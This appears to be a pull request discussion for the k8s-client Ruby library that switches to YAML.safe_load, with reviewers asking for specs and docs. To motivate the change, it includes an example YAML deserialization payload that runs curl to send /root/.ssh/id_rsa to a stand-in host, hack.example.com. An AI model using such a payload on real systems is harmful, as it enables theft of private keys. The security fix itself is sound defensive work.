Use YAML.safe_load for loading YAMLs

[kke]

Use YAML.safe_load and a custom YAML.safe_load_stream for loading YAML files

Without safe load, an app with classes that have "insecure" initializers may execute code from configuration YAMLs.

For example, something like this that was intended to just be called from somewhere in the code:

class UnsafeCommand
  def initialize(*cmd)
    @result = system(*cmd)
  end

  def success?
    !!@result
  end

Now your app is exploitable if it uses k8s-client by creating a YAML that looks something like:

---
foo: !ruby/object:UnsafeCommand
  cmd:
    - curl
    - -F
    - ‘data=@/root/.ssh/id_rsa’ 
    - hack.example.com/steal_ssh_key

Now loading that config will call UnsafeCommand.new('curl', '-F', " ‘data=@/root/.ssh/id_rsa’", 'hack.example.com/steal_ssh_key')

By using safe_load, this does not happen because UnsafeCommand is not explicitly whitelisted.

[jnummelin]

Needs some speccing and some docs for YAMLSafeLoadStream

[kke]

Specs and yardocs added

[kke]

Now uses the yaml-safe_load_stream gem.